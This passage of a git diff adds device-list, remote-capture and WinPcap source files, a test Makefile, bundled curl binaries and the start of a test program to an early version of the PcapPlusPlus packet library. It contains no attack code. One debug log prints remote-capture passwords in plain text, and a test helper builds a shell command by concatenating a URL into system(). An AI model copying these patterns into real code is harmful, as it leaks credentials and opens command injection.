PcapLiveDevice* pDev = new PcapLiveDevice(currInterface, true); +#endif + currInterface = currInterface->next; + PcapLiveDeviceList::m_xLiveDeviceList.insert(PcapLiveDeviceList::m_xLiveDeviceList.end(), pDev); + } + + LOG_DEBUG("Freeing live device data"); + pcap_freealldevs(interfaceList); + + PcapLiveDeviceList::m_IsInitialized = true; + + return PcapLiveDeviceList::m_xLiveDeviceList; +} + +PcapLiveDevice* PcapLiveDeviceList::getPcapLiveDeviceByIp(IPAddress* pIPAddr) +{ + if (pIPAddr->getType() == IPAddress::IPv4AddressType) + { + IPv4Address* pIp4Addr = static_cast(pIPAddr); + return getPcapLiveDeviceByIp(*pIp4Addr); + } + else //IPAddress::IPv6AddressType + { + IPv6Address* pIp6Addr = static_cast(pIPAddr); + return getPcapLiveDeviceByIp(*pIp6Addr); + } +} + +PcapLiveDevice* PcapLiveDeviceList::getPcapLiveDeviceByIp(IPv4Address ipAddr) +{ + if (!PcapLiveDeviceList::m_IsInitialized) + { + LOG_DEBUG("PcapLiveDeviceList not initialized. Initializing first..."); + PcapLiveDeviceList::getPcapLiveDevicesList(); + } + + LOG_DEBUG("Searching all live devices..."); + for(vector::iterator devIter = PcapLiveDeviceList::m_xLiveDeviceList.begin(); devIter != PcapLiveDeviceList::m_xLiveDeviceList.end(); devIter++) + { + LOG_DEBUG("Searching device '%s'. Searching all addresses...", (*devIter)->m_pName); + for(vector::iterator addrIter = (*devIter)->m_xAddresses.begin(); addrIter != (*devIter)->m_xAddresses.end(); addrIter++) + { + if (LoggerPP::getInstance().isDebugEnabled(PcapLogModuleLiveDevice) && addrIter->addr != NULL) + { + char addrAsString[INET6_ADDRSTRLEN]; + sockaddr2string(addrIter->addr, addrAsString); + LOG_DEBUG("Searching address %s", addrAsString); + } + + in_addr* currAddr = sockaddr2in_addr(addrIter->addr); + if (currAddr == NULL) + { + LOG_DEBUG("Address is NULL"); + continue; + } + + if (currAddr->s_addr == ipAddr.toInAddr()->s_addr) + { + LOG_DEBUG("Found matched address!"); + return (*devIter); + } + } + } + + return NULL; +} + +PcapLiveDevice* PcapLiveDeviceList::getPcapLiveDeviceByIp(IPv6Address ip6Addr) +{ + if (!PcapLiveDeviceList::m_IsInitialized) + { + LOG_DEBUG("PcapLiveDeviceList not initialized. Initializing first..."); + PcapLiveDeviceList::getPcapLiveDevicesList(); + } + + LOG_DEBUG("Searching all live devices..."); + for(vector::iterator devIter = PcapLiveDeviceList::m_xLiveDeviceList.begin(); devIter != PcapLiveDeviceList::m_xLiveDeviceList.end(); devIter++) + { + LOG_DEBUG("Searching device '%s'. Searching all addresses...", (*devIter)->m_pName); + for(vector::iterator addrIter = (*devIter)->m_xAddresses.begin(); addrIter != (*devIter)->m_xAddresses.end(); addrIter++) + { + if (LoggerPP::getInstance().isDebugEnabled(PcapLogModuleLiveDevice) && addrIter->addr != NULL) + { + char addrAsString[INET6_ADDRSTRLEN]; + sockaddr2string(addrIter->addr, addrAsString); + LOG_DEBUG("Searching address %s", addrAsString); + } + + in6_addr* currAddr = sockaddr2in6_addr(addrIter->addr); + if (currAddr == NULL) + { + LOG_DEBUG("Address is NULL"); + continue; + } + + if (memcmp(currAddr, ip6Addr.toByteArray(), sizeof(struct in6_addr)) == 0) + { + LOG_DEBUG("Found matched address!"); + return (*devIter); + } + } + } + + return NULL; +} + + + +PcapLiveDevice* PcapLiveDeviceList::getPcapLiveDeviceByIp(const char* ipAddrAsString) +{ + auto_ptr apAddr = IPAddress::fromString(ipAddrAsString); + if (!apAddr->isValid()) + { + LOG_ERROR("IP address illegal"); + return NULL; + } + + PcapLiveDevice* result = PcapLiveDeviceList::getPcapLiveDeviceByIp(apAddr.get()); + return result; +} diff --git a/Pcap++/src/PcapRemoteDevice.cpp b/Pcap++/src/PcapRemoteDevice.cpp new file mode 100644 index 0000000000..8838223c77 --- /dev/null +++ b/Pcap++/src/PcapRemoteDevice.cpp @@ -0,0 +1,110 @@ +#ifdef WIN32 + +#define LOG_MODULE PcapLogModuleRemoteDevice + +#include +#include +#include + + PcapRemoteDevice::PcapRemoteDevice(pcap_if_t* pInterface, pcap_rmtauth* pRemoteAuthentication) : PcapLiveDevice(pInterface, false) + { + LOG_DEBUG("MTU calculation isn't supported for remote devices. Setting MTU to 1514"); + m_DeviceMtu = 1514; + m_RemoteMachineIpAddress = ""; + m_RemoteMachinePort = 0; + m_pRemoteAuthentication = pRemoteAuthentication; + } + + PcapRemoteDevice::~PcapRemoteDevice() + { + if (m_pRemoteAuthentication != NULL) + { + delete [] m_pRemoteAuthentication->username; + delete [] m_pRemoteAuthentication->password; + delete m_pRemoteAuthentication; + } + } + +bool PcapRemoteDevice::open() +{ + char errbuf[PCAP_ERRBUF_SIZE]; + int flags = PCAP_OPENFLAG_PROMISCUOUS | PCAP_OPENFLAG_NOCAPTURE_RPCAP; //PCAP_OPENFLAG_DATATX_UDP doesn't always work + LOG_DEBUG("Opening device '%s'", m_pName); + m_pPcapDescriptor = pcap_open(m_pName, MAX_PACKET_SIZE, flags, 250, m_pRemoteAuthentication, errbuf); + if (m_pPcapDescriptor == NULL) + { + LOG_ERROR("Error opening device. Error was: %s", errbuf); + m_DeviceOpened = false; + return false; + } + + //setFilter requires that m_DeviceOpened == true + m_DeviceOpened = true; + + //for some reason if a filter is not set than WinPcap throws an exception. So Here is a generic filter that catches all traffic + if (!setFilter("ether proto (\\ip or \\ip6 or \\arp or \\rarp or \\decnet or \\sca or \\lat or \\mopdl or \\moprc or \\iso or \\stp or \\ipx or \\netbeui or 0x80F3)")) //0x80F3 == AARP + { + LOG_ERROR("Error setting the filter. Error was: %s", LoggerPP::getInstance().getErrorString()); + m_DeviceOpened = false; + return false; + } + + LOG_DEBUG("Device '%s' opened", m_pName); + + return true; +} + +void* PcapRemoteDevice::remoteDeviceCaptureThreadMain(void *ptr) +{ + PcapRemoteDevice* pThis = (PcapRemoteDevice*)ptr; + if (pThis == NULL) + { + LOG_ERROR("Capture thread: Unable to extract PcapLiveDevice instance"); + return 0; + } + + LOG_DEBUG("Started capture thread for device '%s'", pThis->m_pName); + + pcap_pkthdr* pkthdr; + const uint8_t* pktData; + + if (pThis->m_CaptureCallbackMode) + { + while (!pThis->m_StopThread) + { + if (pcap_next_ex(pThis->m_pPcapDescriptor, &pkthdr, &pktData) > 0) + onPacketArrives((uint8_t*)pThis, pkthdr, pktData); + } + } + else + { + while (!pThis->m_StopThread) + { + if (pcap_next_ex(pThis->m_pPcapDescriptor, &pkthdr, &pktData) > 0) + onPacketArrivesNoCallback((uint8_t*)pThis, pkthdr, pktData); + } + } + LOG_DEBUG("Ended capture thread for device '%s'", pThis->m_pName); + return 0; +} + +ThreadStart PcapRemoteDevice::getCaptureThreadStart() +{ + return &remoteDeviceCaptureThreadMain; +} + +void PcapRemoteDevice::getStatistics(pcap_stat& stats) +{ + int allocatedMemory; + pcap_stat* tempStats = pcap_stats_ex(m_pPcapDescriptor, &allocatedMemory); + if (allocatedMemory < (int)sizeof(pcap_stat)) + { + LOG_ERROR("Error getting statistics from live device '%s': WinPcap did not allocate the entire struct", m_pName); + return; + } + stats.ps_recv = tempStats->ps_capt; + stats.ps_drop = tempStats->ps_drop + tempStats->ps_netdrop; + stats.ps_ifdrop = tempStats->ps_ifdrop; +} + +#endif // WIN32 diff --git a/Pcap++/src/PcapRemoteDeviceList.cpp b/Pcap++/src/PcapRemoteDeviceList.cpp new file mode 100644 index 0000000000..52ecc0dd8e --- /dev/null +++ b/Pcap++/src/PcapRemoteDeviceList.cpp @@ -0,0 +1,169 @@ +#ifdef WIN32 + +#define LOG_MODULE PcapLogModuleRemoteDevice + +#include +#include +#include +#ifdef WIN32 +#include +#endif + +const bool PcapRemoteDeviceList::getRemoteDeviceList(string ipAddress, uint16_t port, PcapRemoteDeviceList& resultList) +{ + return PcapRemoteDeviceList::getRemoteDeviceList(ipAddress, port, NULL, resultList); +} + +const bool PcapRemoteDeviceList::getRemoteDeviceList(string ipAddress, uint16_t port, PcapRemoteAuthentication* pRemoteAuth, PcapRemoteDeviceList& resultList) +{ + char portAsCharArr[5]; + sprintf(portAsCharArr, "%d", port); + LOG_DEBUG("Searching remote devices on IP: %s and port: %d", ipAddress.c_str(), port); + char remoteCaptureString[PCAP_BUF_SIZE]; + char errbuf[PCAP_ERRBUF_SIZE]; + if (pcap_createsrcstr(remoteCaptureString, PCAP_SRC_IFREMOTE, ipAddress.c_str(), portAsCharArr, NULL, errbuf) != 0) + { + LOG_ERROR("Error in creating the remote connection string. Error was: %s", errbuf); + return false; + } + + LOG_DEBUG("Remote capture string: %s", remoteCaptureString); + + pcap_rmtauth* pRmAuth = NULL; + if (pRemoteAuth != NULL) + { + LOG_DEBUG("Authentication requested. Username: %s, Password: %s", pRemoteAuth->userName, pRemoteAuth->password); + pRmAuth = new pcap_rmtauth(); + pRmAuth->type = RPCAP_RMTAUTH_PWD; + pRmAuth->username = new char[1+strlen(pRemoteAuth->userName)]; + strncpy(pRmAuth->username, pRemoteAuth->userName, 1+strlen(pRemoteAuth->userName)); + pRmAuth->password = new char[1+strlen(pRemoteAuth->password)]; + strncpy(pRmAuth->password, pRemoteAuth->password, 1+strlen(pRemoteAuth->password)); + } + + pcap_if_t* interfaceList; + char errorBuf[PCAP_ERRBUF_SIZE]; + if (pcap_findalldevs_ex(remoteCaptureString, pRmAuth, &interfaceList, errorBuf) < 0) + { + LOG_ERROR("Error retrieving device on remote machine. Error string is: %s", errorBuf); + return false; + } + + pcap_if_t* currInterface = interfaceList; + while (currInterface != NULL) + { + PcapRemoteDevice* pNewRemoteDevice = new PcapRemoteDevice(currInterface, pRmAuth); + resultList.push_back(pNewRemoteDevice); + currInterface = currInterface->next; + } + + pcap_freealldevs(interfaceList); + return true; +} + +PcapRemoteDevice* PcapRemoteDeviceList::getRemoteDeviceByIP(const char* ipAddrAsString) +{ + auto_ptr apAddr = IPAddress::fromString(ipAddrAsString); + if (!apAddr->isValid()) + { + LOG_ERROR("IP address illegal"); + return NULL; + } + + PcapRemoteDevice* result = getRemoteDeviceByIP(apAddr.get()); + return result; +} + +PcapRemoteDevice* PcapRemoteDeviceList::getRemoteDeviceByIP(IPAddress* pIPAddr) +{ + if (pIPAddr->getType() == IPAddress::IPv4AddressType) + { + IPv4Address* pIp4Addr = static_cast(pIPAddr); + return getRemoteDeviceByIP(*pIp4Addr); + } + else //IPAddress::IPv6AddressType + { + IPv6Address* pIp6Addr = static_cast(pIPAddr); + return getRemoteDeviceByIP(*pIp6Addr); + } +} + + +PcapRemoteDevice* PcapRemoteDeviceList::getRemoteDeviceByIP(IPv4Address ip4Addr) +{ + LOG_DEBUG("Searching all remote devices in list..."); + for(vector::iterator devIter = begin(); devIter != end(); devIter++) + { + LOG_DEBUG("Searching device '%s'. Searching all addresses...", (*devIter)->m_pName); + for(vector::iterator addrIter = (*devIter)->m_xAddresses.begin(); addrIter != (*devIter)->m_xAddresses.end(); addrIter++) + { + if (LoggerPP::getInstance().isDebugEnabled(PcapLogModuleRemoteDevice) && addrIter->addr != NULL) + { + char addrAsString[INET6_ADDRSTRLEN]; + sockaddr2string(addrIter->addr, addrAsString); + LOG_DEBUG("Searching address %s", addrAsString); + } + + in_addr* currAddr = sockaddr2in_addr(addrIter->addr); + if (currAddr == NULL) + { + LOG_DEBUG("Address is NULL"); + continue; + } + + if (currAddr->s_addr == ip4Addr.toInAddr()->s_addr) + { + LOG_DEBUG("Found matched address!"); + return (*devIter); + } + } + } + + return NULL; + +} + +PcapRemoteDevice* PcapRemoteDeviceList::getRemoteDeviceByIP(IPv6Address ip6Addr) +{ + LOG_DEBUG("Searching all remote devices in list..."); + for(vector::iterator devIter = begin(); devIter != end(); devIter++) + { + LOG_DEBUG("Searching device '%s'. Searching all addresses...", (*devIter)->m_pName); + for(vector::iterator addrIter = (*devIter)->m_xAddresses.begin(); addrIter != (*devIter)->m_xAddresses.end(); addrIter++) + { + if (LoggerPP::getInstance().isDebugEnabled(PcapLogModuleRemoteDevice) && addrIter->addr != NULL) + { + char addrAsString[INET6_ADDRSTRLEN]; + sockaddr2string(addrIter->addr, addrAsString); + LOG_DEBUG("Searching address %s", addrAsString); + } + + in6_addr* currAddr = sockaddr2in6_addr(addrIter->addr); + if (currAddr == NULL) + { + LOG_DEBUG("Address is NULL"); + continue; + } + + if (memcmp(currAddr, ip6Addr.toByteArray(), sizeof(struct in6_addr)) == 0) + { + LOG_DEBUG("Found matched address!"); + return (*devIter); + } + } + } + + return NULL; + +} + +PcapRemoteDeviceList::~PcapRemoteDeviceList() +{ + for(vector::iterator devIter = begin(); devIter != end(); ) + { + delete (*devIter); + erase(devIter); + } +} + +#endif // WIN32 diff --git a/Pcap++/src/WinPcapLiveDevice.cpp b/Pcap++/src/WinPcapLiveDevice.cpp new file mode 100644 index 0000000000..104f8eda30 --- /dev/null +++ b/Pcap++/src/WinPcapLiveDevice.cpp @@ -0,0 +1,104 @@ +#ifdef WIN32 + +#define LOG_MODULE PcapLogModuleWinPcapLiveDevice + +#include +#include + +WinPcapLiveDevice::WinPcapLiveDevice(pcap_if_t* pInterface, bool calculateMTU) : PcapLiveDevice(pInterface, calculateMTU) +{ + m_MinAmountOfDataToCopyFromKernelToApplication = 16000; +} + +bool WinPcapLiveDevice::startCapture(OnPacketArrivesCallback onPacketArrives, void* onPacketArrivesUserCookie, int intervalInSecondsToUpdateStats, OnStatsUpdateCallback onStatsUpdate, void* onStatsUpdateUsrrCookie) +{ + //Put the interface in capture mode + if (pcap_setmode(m_pPcapDescriptor, MODE_CAPT) < 0) + { + LOG_ERROR("Error setting the capture mode for device '%s'", m_pName); + return false; + } + + return PcapLiveDevice::startCapture(onPacketArrives, onPacketArrivesUserCookie, intervalInSecondsToUpdateStats, onStatsUpdate, onStatsUpdateUsrrCookie); +} + +bool WinPcapLiveDevice::startCapture(int intervalInSecondsToUpdateStats, OnStatsUpdateCallback onStatsUpdate, void* onStatsUpdateUserCookie) +{ + //Put the interface in statistics mode + if (pcap_setmode(m_pPcapDescriptor, MODE_STAT) < 0) + { + LOG_ERROR("Error setting the statistics mode for device '%s'", m_pName); + return false; + } + + return PcapLiveDevice::startCapture(intervalInSecondsToUpdateStats, onStatsUpdate, onStatsUpdateUserCookie); +} + +int WinPcapLiveDevice::sendPackets(RawPacket* rawPacketsArr, int arrLength) +{ + int dataSize = 0; + int packetsSent = 0; + for (int i = 0; i < arrLength; i++) + dataSize += rawPacketsArr[i].getRawDataLen(); + + pcap_send_queue* pSendQueue = pcap_sendqueue_alloc(dataSize + arrLength*sizeof(pcap_pkthdr)); + LOG_DEBUG("Allocated send queue of size %d", dataSize + arrLength*sizeof(pcap_pkthdr)); + struct pcap_pkthdr packetHeader[arrLength]; + for (int i = 0; i < arrLength; i++) + { + packetHeader[i].caplen = rawPacketsArr[i].getRawDataLen(); + packetHeader[i].len = rawPacketsArr[i].getRawDataLen(); + packetHeader[i].ts = rawPacketsArr[i].getPacketTimeStamp(); + if (pcap_sendqueue_queue(pSendQueue, &packetHeader[i], rawPacketsArr[i].getRawData()) == -1) + { + LOG_ERROR("pcap_send_queue is too small for all packets. Sending only %d packets", i); + break; + } + packetsSent++; + } + LOG_DEBUG("%d packets were queued successfully", packetsSent); + + int res; + if ((res = pcap_sendqueue_transmit(m_pPcapDescriptor, pSendQueue, 0)) < pSendQueue->len) + { + LOG_ERROR("An error occurred sending the packets: %s. Only %d bytes were sent\n", pcap_geterr(m_pPcapDescriptor), res); + packetsSent = 0; + dataSize = 0; + for (int i = 0; i < arrLength; i++) + { + dataSize += rawPacketsArr[i].getRawDataLen(); + //printf("dataSize = %d\n", dataSize); + if (dataSize > res) + { + return packetsSent; + } + packetsSent++; + } + return packetsSent; + } + LOG_DEBUG("Packets were sent successfully"); + + pcap_sendqueue_destroy(pSendQueue); + LOG_DEBUG("Send queue destroyed"); + return packetsSent; +} + +bool WinPcapLiveDevice::setMinAmountOfDataToCopyFromKernelToApplication(int size) +{ + if (!m_DeviceOpened) + { + LOG_ERROR("Device not opened"); + return false; + } + + if (pcap_setmintocopy(m_pPcapDescriptor, size) != 0) + { + LOG_ERROR("pcap_setmintocopy failed"); + return false; + } + m_MinAmountOfDataToCopyFromKernelToApplication = size; + return true; +} + +#endif // WIN32 + diff --git a/Pcap++Test/Makefile b/Pcap++Test/Makefile new file mode 100644 index 0000000000..90e6d3e294 --- /dev/null +++ b/Pcap++Test/Makefile @@ -0,0 +1,79 @@ +-include ../mk/platform.mk + +SOURCES := $(wildcard *.cpp) +OBJS_FILENAMES := $(patsubst %.cpp,%.o,$(SOURCES)) +OBJS := $(patsubst %.cpp,./Obj/%.o,$(SOURCES)) + +COMMONPP_HOME := ../Common++ +PACKETPP_HOME := ../Packet++ +PCAPP_HOME := ../Pcap++ + +ifdef WIN32 +DEPS := -DWPCAP -DHAVE_REMOTE +endif + +INCLUDES := -I$(PCAPP_HOME)/header -I$(PACKETPP_HOME)/header -I$(COMMONPP_HOME)/header +ifdef WIN32 +INCLUDES += -I$(WINPCAP_HOME)/Include +endif +ifdef LINUX +INCLUDES += -I/usr/include/netinet +endif + + +$(OBJS_FILENAMES): + @echo 'Building file: $(@:%.o=%.cpp)' + @echo 'Invoking: GCC C++ Compiler' + $(G++) $(DEPS) $(INCLUDES) -O2 -g -Wall -c -fmessage-length=0 -MMD -MP -MF"$(@:%.o=./Obj/%.d)" -MT"$(@:%.o=./Obj/%.d)" -o "./Obj/$@" "$(@:%.o=%.cpp)" + @echo 'Finished building: $(@:%.o=%.cpp)' + @echo ' ' + +LIBS_DIR := -L$(PCAPP_HOME)/Lib -L$(PACKETPP_HOME)/Lib -L$(COMMONPP_HOME)/Lib +ifdef WIN32 +LIBS_DIR += -L$(WINPCAP_HOME)/lib \ + -L$(MINGW_HOME)/lib +endif + +LIBS := -lPcap++ -lPacket++ -lCommon++ +ifdef WIN32 +LIBS += -lwpcap -lPacket -lpthread -lws2_32 +endif +ifdef LINUX +LIBS += -lpcap -lpthread +endif + +POST_BUILD := +ifdef WIN32 +POST_BUILD += $(CP) $(MINGW_HOME)/bin/pthreadGC2.dll ./Bin +endif + +UNAME := $(shell uname) + +# All Target +all: Pcap++Test + +dependents: + -cd $(COMMONPP_HOME) && $(MAKE) all + -cd $(PACKETPP_HOME) && $(MAKE) all + -cd $(PCAPP_HOME) && $(MAKE) all + +dependents-clean: + -cd $(COMMONPP_HOME) && $(MAKE) clean + -cd $(PACKETPP_HOME) && $(MAKE) clean + -cd $(PCAPP_HOME) && $(MAKE) clean + +# Tool invocations +Pcap++Test: $(OBJS_FILENAMES) dependents + @echo uname is: $(UNAME) + @echo 'Building target: $@' + @echo 'Invoking C++ Linker' + $(G++) $(LIBS_DIR) -static-libgcc -static-libstdc++ -o "./Bin/Pcap++Test$(BIN_EXT)" $(OBJS) $(USER_OBJS) $(LIBS) + $(POST_BUILD) + @echo 'Finished successfully building target: $@' + @echo ' ' + +# Other Targets +clean: dependents-clean + $(RM) -rf ./Obj/* + $(RM) -rf ./Bin/* + @echo 'Clean finished' \ No newline at end of file diff --git a/Pcap++Test/PcapExamples/example.pcap b/Pcap++Test/PcapExamples/example.pcap new file mode 100644 index 0000000000..cea4558fc6 Binary files /dev/null and b/Pcap++Test/PcapExamples/example.pcap differ diff --git a/Pcap++Test/PcapExamples/example_copy.pcap b/Pcap++Test/PcapExamples/example_copy.pcap new file mode 100644 index 0000000000..94d204c7ee Binary files /dev/null and b/Pcap++Test/PcapExamples/example_copy.pcap differ diff --git a/Pcap++Test/cUrl/curl.linux32 b/Pcap++Test/cUrl/curl.linux32 new file mode 100644 index 0000000000..e78179d012 Binary files /dev/null and b/Pcap++Test/cUrl/curl.linux32 differ diff --git a/Pcap++Test/cUrl/curl_output.txt b/Pcap++Test/cUrl/curl_output.txt new file mode 100644 index 0000000000..6f1f9c337e --- /dev/null +++ b/Pcap++Test/cUrl/curl_output.txt @@ -0,0 +1,63 @@ + + + + + Yahoo + + + + + + + + + + + +
+ Yahoo Logo +

Will be right back...

+

Thank you for your patience.

+

Our engineers are working quickly to resolve the issue.

+
+ + + diff --git a/Pcap++Test/cUrl/curl_win32.exe b/Pcap++Test/cUrl/curl_win32.exe new file mode 100644 index 0000000000..ffc6204594 Binary files /dev/null and b/Pcap++Test/cUrl/curl_win32.exe differ diff --git a/Pcap++Test/cUrl/curl_win64.exe b/Pcap++Test/cUrl/curl_win64.exe new file mode 100644 index 0000000000..f4d1823d7d Binary files /dev/null and b/Pcap++Test/cUrl/curl_win64.exe differ diff --git a/Pcap++Test/main.cpp b/Pcap++Test/main.cpp new file mode 100644 index 0000000000..05a3d70b0e --- /dev/null +++ b/Pcap++Test/main.cpp @@ -0,0 +1,783 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#ifndef WIN32 //for using ntohl, ntohs, etc. +#include +#endif + +using namespace std; + +#define EXAMPLE_PCAP_WRITE_PATH "PcapExamples/example_copy.pcap" +#define EXAMPLE_PCAP_PATH "PcapExamples/example.pcap" + +#define PCAPP_TEST(TestName) bool TestName(PcapTestArgs const& args) + +#define PCAPP_ASSERT(exp, assertFailedFormat, ...) \ + if (!(exp)) \ + { \ + printf("%-30s: FAILED. assertion failed: " assertFailedFormat "\n", __FUNCTION__, ## __VA_ARGS__); \ + return false; \ + } + +#define PCAPP_ASSERT_AND_RUN_COMMAND(exp, command, assertFailedFormat, ...) \ + if (!(exp)) \ + { \ + printf("%-30s: FAILED. assertion failed: " assertFailedFormat "\n", __FUNCTION__, ## __VA_ARGS__); \ + command; \ + return false; \ + } + +#define PCAPP_TEST_PASSED printf("%-30s: PASSED\n", __FUNCTION__); return true + +#define PCAPP_START_RUNNING_TESTS bool allTestsPassed = true +#define PCAPP_RUN_TEST(TestName, args) allTestsPassed &= TestName(args) +#define PCAPP_END_RUNNING_TESTS \ + if (allTestsPassed) \ + printf("ALL TESTS PASSED!!\n"); \ + else \ + printf("NOT ALL TESTS PASSED!!\n"); + +struct PcapTestArgs +{ + string ipToSendReceivePackets; + bool debugMode; + string remoteIp; + uint16_t remotePort; + char* errString; +}; + +void packetArrives(RawPacket* pRawPacket, PcapLiveDevice* pDevice, void* userCookie) +{ +// EthPacket* pPacket = PacketParser::parsePacket(pRawPacket); +// if (pPacket->isPacketOfType(IP)) +// { +// IpPacket* ipPacket = static_cast(pPacket); +// if (ipPacket->getIpVersion() == 4) +// { +// iphdr* ip_header = ipPacket->getIPv4Header(); +// uint32_t src_ip = htonl(ip_header->saddr); +// uint32_t dst_ip = htonl(ip_header->daddr); +// +// printf("<"); +// PRINT_IPV4_ADDRESS(src_ip); +// printf("> - "); +// printf("<"); +// PRINT_IPV4_ADDRESS(dst_ip); +// printf(">\n"); +// } +// else if (ipPacket->getIpVersion() == 6) +// { +// ip6_hdr* ip_header = ipPacket->getIPv6Header(); +// uint8_t* src_ip = ip_header->src_addr; +// uint8_t* dst_ip = ip_header->dst_addr; +// +// printf("<"); +// PRINT_IPV6_ADDRESS(src_ip); +// printf("> - "); +// printf("<"); +// PRINT_IPV6_ADDRESS(dst_ip); +// printf(">\n"); +// } +// } + + (*(int*)userCookie)++; +} + +void statsUpdate(pcap_stat& stats, void* userCookie) +{ + (*(int*)userCookie)++; +} + +int getFileLength(const char* filename) +{ + ifstream infile(filename, ifstream::binary); + if (!infile) + return -1; + infile.seekg(0, infile.end); + int length = infile.tellg(); + infile.close(); + return length; +} + +uint8_t* readFileIntoBuffer(const char* filename, int& bufferLength) +{ + int fileLength = getFileLength(filename); + if (fileLength == -1) + return NULL; + + ifstream infile(filename); + if (!infile) + return NULL; + + bufferLength = fileLength/2 + 2; + uint8_t* result = new uint8_t[bufferLength]; + int i = 0; + while (!infile.eof()) + { + char byte[3]; + infile.read(byte, 2); + result[i] = (uint8_t)strtol(byte, NULL, 16); + i++; + } + infile.close(); + return result; +} + +bool sendURLRequest(string url) +{ + //TODO: what about windows 64? +#ifdef WIN32 + string cmd = "cUrl\\curl_win32.exe -s -o cUrl\\curl_output.txt"; +#else + string cmd = "cUrl/curl.linux32 -s -o cUrl/curl_output.txt"; +#endif + + cmd += " " + url; + if (system(cmd.c_str()) == -1) + return false; + return true; +} + +#ifdef WIN32 +HANDLE activateRpcapdServer(string ip, uint16_t port) +{ + char portAsString[10]; + sprintf(portAsString, "%d", port); + string cmd = "rpcapd\\rpcapd.exe"; + string args = "rpcapd\\rpcapd.exe -b " + ip + " -p " + string(portAsString) + " -n"; + + STARTUPINFO si; + PROCESS_INFORMATION pi; + + ZeroMemory( &si, sizeof(si) ); + si.cb = sizeof(si); + ZeroMemory( &pi, sizeof(pi) ); + if (!CreateProcess + ( + TEXT(cmd.c_str()), + (char*)TEXT(args.c_str()), + NULL,NULL,FALSE, + CREATE_NEW_CONSOLE, + NULL,NULL, + &si, + &pi + ) + ) + { + return NULL; + } + + return pi.hProcess; +} + +void terminateRpcapdServer(HANDLE processHandle) +{ + if (processHandle != NULL) + TerminateProcess(processHandle, 0); +} + +#endif + +PCAPP_TEST(TestIPAddress) +{ + auto_ptr ip4Addr = IPAddress::fromString((char*)"10.0.0.4"); + PCAPP_ASSERT(ip4Addr.get() != NULL, "IPv4 address is NULL"); + PCAPP_ASSERT(ip4Addr->getType() == IPAddress::IPv4AddressType, "IPv4 address is not of type IPv4Address"); + PCAPP_ASSERT(strcmp(ip4Addr->toString().c_str(), "10.0.0.4") == 0, "IPv4 toString doesn't return the correct string"); + IPv4Address* ip4AddrAfterCast = static_cast(ip4Addr.get()); + PCAPP_ASSERT(ntohl(ip4AddrAfterCast->toInt()) == 0x0A000004, "toInt() gave wrong result: %X", ip4AddrAfterCast->toInt()); + + string ip6AddrString("2607:f0d0:1002:51::4"); + auto_ptr ip6Addr = IPAddress::fromString(ip6AddrString); + PCAPP_ASSERT(ip6Addr.get() != NULL, "IPv6 address is NULL"); + PCAPP_ASSERT(ip6Addr->getType() == IPAddress::IPv6AddressType, "IPv6 address is not of type IPv6Address"); + PCAPP_ASSERT(strcmp(ip6Addr->toString().c_str(), "2607:f0d0:1002:51::4") == 0, "IPv6 toString doesn't return the correct string"); + IPv6Address* ip6AddrAfterCast = static_cast(ip6Addr.get()); + int length = 0; + uint8_t* addrAsByteArray = ip6AddrAfterCast->toByteArray(length); + PCAPP_ASSERT(length == 16, "IPv6 packet length is wrong. Expected 16, got %d", length); + uint8_t expectedByteArray[16] = { 0x26, 0x07, 0xF0, 0xD0, 0x10, 0x02, 0x00, 0x51, 0x00, 0x00 , 0x00, 0x00, 0x00, 0x00, 0x00, 0x04 }; + for (int i = 0; i < 16; i++) + PCAPP_ASSERT(addrAsByteArray[i] == expectedByteArray[i], "Failed to convert IPv6 address to byte array; byte #%d: expected 0x%X got 0x%X", i, expectedByteArray[i], addrAsByteArray[i]); + + ip6Addr = IPAddress::fromString(string("2607:f0d0:1002:0051:0000:0000:0000:0004")); + PCAPP_ASSERT(ip6Addr.get() != NULL, "IPv6 address is NULL"); + PCAPP_ASSERT(ip6Addr->getType() == IPAddress::IPv6AddressType, "IPv6 address is not of type IPv6Address"); + PCAPP_ASSERT(strcmp(ip6Addr->toString().c_str(), "2607:f0d0:1002:0051:0000:0000:0000:0004") == 0, "IPv6 toString doesn't return the correct string"); + + PCAPP_TEST_PASSED; +} + +PCAPP_TEST(TestMacAddress) +{ + MacAddress macAddr1(0x11,0x2,0x33,0x4,0x55,0x6); + PCAPP_ASSERT(macAddr1.isValid(), "macAddr1 is not valid"); + MacAddress macAddr2(0x11,0x2,0x33,0x4,0x55,0x6); + PCAPP_ASSERT(macAddr2.isValid(), "macAddr2 is not valid"); + PCAPP_ASSERT(macAddr1 == macAddr2, "Equal operator failed"); + + MacAddress macAddr3(string("11:02:33:04:55:06")); + PCAPP_ASSERT(macAddr3.isValid(), "macAddr3 is not valid"); + PCAPP_ASSERT(macAddr1 == macAddr3, "Different c'tors with same MAC address (string and by octets) give different addresses"); + + uint8_t addrAsArr[6] = { 0x11, 0x2, 0x33, 0x4, 0x55, 0x6 }; + MacAddress macAddr4(addrAsArr); + PCAPP_ASSERT(macAddr4.isValid(), "macAddr4 is not valid"); + PCAPP_ASSERT(macAddr1 == macAddr4, "Different c'tors with same MAC address (from arr and by octets) give different addresses"); + + string macAsStr = macAddr1.toString(); + PCAPP_ASSERT(macAsStr == string("11:02:33:04:55:06"), "String representation failure: expected '%s', got '%s'", "11:02:33:04:55:06", macAddr1.toString().c_str()); + + uint8_t* arrToCopyTo = NULL; + macAddr3.copyTo(&arrToCopyTo); + PCAPP_ASSERT(arrToCopyTo[0] == 0x11 && arrToCopyTo[1] == 0x02 && arrToCopyTo[2] == 0x33 && arrToCopyTo[3] == 0x04 && arrToCopyTo[4] == 0x55 && arrToCopyTo[5] == 0x06, "Copy MacAddress to array failed"); + + PCAPP_TEST_PASSED; +} + + +PCAPP_TEST(TestPcapFileReadWrite) +{ + PcapFileReaderDevice readerDev(EXAMPLE_PCAP_PATH); + PcapFileWriterDevice writerDev(EXAMPLE_PCAP_WRITE_PATH); + PCAPP_ASSERT(readerDev.open(), "cannot open reader device"); + PCAPP_ASSERT(writerDev.open(), "cannot open writer device"); + RawPacket rawPacket; + int packetCount = 0; + int ethCount = 0; + int ipCount = 0; + int tcpCount = 0; + int udpCount = 0; + while (readerDev.getNextPacket(rawPacket)) + { + packetCount++; + Packet packet(&rawPacket); + if (packet.isPacketOfType(Ethernet)) + ethCount++; + if (packet.isPacketOfType(IPv4)) + ipCount++; + if (packet.isPacketOfType(TCP)) + tcpCount++; + if (packet.isPacketOfType(UDP)) + udpCount++; + + writerDev.writePacket(rawPacket); + } + + + pcap_stat readerStatistics; + pcap_stat 